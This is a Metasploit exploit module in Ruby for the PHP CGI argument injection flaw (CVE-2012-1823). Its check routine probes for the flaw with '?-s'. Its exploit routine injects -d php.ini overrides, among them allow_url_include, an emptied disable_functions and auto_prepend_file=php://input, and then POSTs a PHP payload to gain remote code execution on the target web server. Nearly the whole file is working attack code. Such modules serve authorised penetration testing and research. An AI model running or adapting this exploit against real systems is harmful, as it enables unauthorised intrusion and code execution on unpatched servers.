##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   https://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHP CGI Argument Injection',
      'Description'    => %q{
        When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
        an argument injection vulnerability.  This module takes advantage of
        the -d flag to set php.ini directives to achieve code execution.
        From the advisory: "if there is NO unescaped '=' in the query string,
        the string is split on '+' (encoded space) characters, urldecoded,
        passed to a function that escapes shell metacharacters (the "encoded in
        a system-defined manner" from the RFC) and then passes them to the CGI
        binary."
      },
      'Author'         => [ 'egypt', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [
          [ 'CVE'  , '2012-1823' ],
          [ 'OSVDB', '81633'],
          [ 'URL'  , 'https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DisclosureDate' => 'May 03 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
      ], self.class)
  end

  # php-cgi -h
  # ...
  #   -s               Display colour syntax highlighted source.
  def check
    uri = target_uri.path

    uri.gsub!(/\?.*/, "")

    print_status("Checking uri #{uri}")

    response = send_request_raw({ 'uri' => uri })

    if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
      print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
      return Exploit::CheckCode::Unknown
    end

    response = send_request_raw({ 'uri' => uri + '?-s'})
    if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
      return Exploit::CheckCode::Vulnerable
    end

    print_error("Server responded indicating it was not vulnerable")
    return Exploit::CheckCode::Safe
  end

  def exploit
    begin
      args = [
        "-d+allow_url_include%3d#{rand_php_ini_true}",
        "-d+safe_mode%3d#{rand_php_ini_false}",
        "-d+suhosin.simulation%3d#{rand_php_ini_true}",
        "-d+disable_functions%3d%22%22",
        "-d+open_basedir%3dnone",
        "-d+auto_prepend_file%3dphp://input",
        "-n"
      ]

      qs = args.join("+")
      uri = "#{target_uri}?#{qs}"

      # Has to be all on one line, so gsub out the comments and the newlines
      payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
      response = send_request_cgi( {
        'method' => "POST",
        'global' => true,
        'uri'    => uri,
        'data'   => payload_oneline,
      }, 0.5)
      handler

    rescue ::Interrupt
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
      print_error("The target service unreachable")
    rescue ::OpenSSL::SSL::SSLError
      print_error("The target failed to negotiate SSL, is this really an SSL service?")
    end

  end

  def rand_php_ini_false
    Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
  end

  def rand_php_ini_true
    Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
  end

end